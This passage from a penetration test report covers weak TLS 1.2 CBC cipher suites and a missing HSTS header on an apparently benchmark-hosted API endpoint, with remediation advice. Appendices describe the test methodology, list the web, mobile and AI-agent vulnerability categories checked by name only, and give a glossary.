The service accepts suboptimal TLS cipher suites or parameters that are not outright broken but weaken confidentiality and forward secrecy. Examples include AES-CBC suites under TLS 1.2, RSA key exchange (TLS_RSA, no forward secrecy), SHA-1 signatures, finite-field DH parameters smaller than 2048 bits, or legacy/weak elliptic curves. These choices increase exposure to downgrade and cross-protocol attacks and are deprecated by modern security guidance. Many Third-Party Risk Management (TPRM) platforms flag this as a medium-to-high risk that can lower external security scores and slow vendor assessments and insurance renewals.

Business Impact

This issue can lead to data breaches, regulatory non-compliance, and erosion of customer trust.

Affected Endpoint

https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch

Identified Configuration

```
{
  "TLS 1.2": {
    "weak_ciphers": [
      "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA",
      "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"
    ]
  }
}
```

Remediation

Implement the following measures to eliminate this vulnerability:

- Prefer TLS 1.3 wherever possible. For TLS 1.2, allow only forward-secrecy AEAD suites (ECDHE or DHE with AES-GCM or ChaCha20-Poly1305), disable RSA key exchange (TLS_RSA), disable CBC-mode and 3DES suites, enforce DH parameter size ≥ 2048 bits and modern curves (e.g., secp256r1, X25519), and disallow SHA-1 signatures. Optionally generate a hardened configuration with Mozilla's SSL Configuration Generator (ssl-config.mozilla.org).

2.3.20 PT-20 - Missing or Misconfigured Security Headers

Low

Identified on: October 30th 2026

Description

The application is missing important HTTP security headers or has them misconfigured. Security headers provide defense-in-depth against common web attacks including clickjacking, MIME-sniffing, and protocol downgrade attacks.

Affected Endpoint

https://api-doc-processor-ios.aikido-benchmarks.apagnan.ch

Identified Configuration


```
[
  {
    "rule_id": "strict_transport_security_missing",
    "header_name": "Strict-Transport-Security",
    "header_value": ""
  }
]
```


Remediation

Implement the following measures to eliminate this vulnerability:

- Review the specific header findings and configure your web server or application to return the recommended security headers with appropriate values.

Appendices

A. Scope & Methodology

Methodologies

The penetration test followed a structured engagement lifecycle aligned with industry-standard methodologies, including OWASP Testing Guide v4.2, PTES, NIST SP 800-115, OWASP (M)ASVS, and the OWASP AI Testing Guide, including agentic behavior testing.

- Engagement scope and configuration were validated prior to and during testing
- Findings were reviewed for accuracy and severity classification
- Results can be escalated for further analysis upon request
- Methodology is continuously refined based on emerging threat intelligence

Penetration test types

	Black box	Grey box	White box
Goal	Assess security defences against a cyber attack	Assess security defences against a cyber attack	Assess security defences against a cyber attack
Access level	Zero access or internal information	Some internal access and internal information	Complete open access to applications and systems
Pros	Most realistic Testing is performed from point of view of attacker	More efficient and complete than Black Box while saving time and money Testing is performed from point of view of attacker	More comprehensive, less likely to miss a vulnerability Testing is performed from point of view of attacker
Cons	Time consuming and more likely to miss a vulnerability	More hidden vulnerabilities might be missed	More action required by client to provide information and more time necessary to process documents

B. Vulnerability Coverage

OWASP Top 10 Compliance

The penetration test covers the OWASP Top 10 vulnerability categories and includes agentic behavior testing aligned with the OWASP AI Testing Guide, helping identify critical web application and AI-agent behavior risks.

The penetration test explicitly checked for the following vulnerability types:

- Broken Access Control (BOLA/IDOR)
- Authentication Weaknesses
- Business Logic & Validation
- Session Management Flaws
- JWT & Self-Contained Token Attacks
- OAuth 2.0 & OIDC Flaws
- SQL & Database Injection
- Code & Command Injection
- Insecure Deserialization
- Server-Side Template Injection (SSTI)
- Server-Side Request Forgery (SSRF)
- XML & Structured-Data Injection (XXE)
- Mass Assignment & Parameter Tampering
- Rate Limiting & Automated Abuse
- File Upload Vulnerabilities
- Path Traversal & File Disclosure
- API & HTTP Message Security
- GraphQL Security
- WebSocket Security
- Secrets & Sensitive Data Exposure
- Cryptography & Transport Security
- Security Headers & Cookie Hardening
- Security Misconfiguration
- Infrastructure CVE Detection & Exploitation
- Exposed Management & Debug Interfaces
- Default or Weak Service Credentials
- Exposed Network Services
- Direct Prompt Injection & Jailbreaking
- Indirect Prompt Injection
- System Prompt & Instruction Leakage
- Sensitive Information Disclosure
- Improper Output Handling
- Excessive Agency & Over-Privileged Tools
- Tool / Function Misuse & Injection
- Insecure Tool / Plugin Integration
- Privilege Compromise & Confused Deputy
- Broken Authorization on AI Features
- Memory & Context Poisoning
- RAG / Vector & Embedding Weaknesses
- Guardrail & Safety Filter Bypass
- Data & Model Poisoning (Observable)
- Intent Breaking & Goal Manipulation
- Insecure Autonomous Action Chains
- Multi-Agent & Agent-Communication Poisoning
- Identity Spoofing & Impersonation
- Unbounded Consumption & Denial of Wallet
- Model & Supply Chain Exposure
- Insecure Local Data Storage
- Sensitive Data Leakage via Side Channels
- Sensitive Data Exposure via UI
- Insecure Local & Biometric Authentication
- Missing Step-Up Authentication for Sensitive Operations
- Insecure Key Management
- Insecure Inter-Process Communication (IPC)
- Insecure Deep Link & URL Scheme Handling
- Insecure WebView Configuration
- On-Device Injection via Untrusted Input
- Excessive Permissions & Data Minimization
- User Trackability & Identification
- Data Collection Transparency & User Control
- Broken Function-Level Authorization
- Broken Object-Property-Level Authorization
- Outdated Platform / Missing Update Enforcement
- Improper API Inventory Management

C. Glossary

Authentication	The process of verifying the identity of a user, device, or system before granting access to resources.
Authorization	The process of determining what permissions an authenticated user has and what resources they can access.
CVSS	Common Vulnerability Scoring System - A standardized method for rating the severity of security vulnerabilities.
IDOR	Insecure Direct Object Reference - When an application provides direct access to objects based on user-supplied input without proper authorization checks.
PII	Personally Identifiable Information - Any data that could potentially identify a specific individual.
SQL Injection	A code injection technique where malicious SQL statements are inserted into application data entry points.
XSS	Cross-Site Scripting - A vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users.
WAF	Web Application Firewall - A security device that monitors, filters, and blocks HTTP traffic to and from a web application.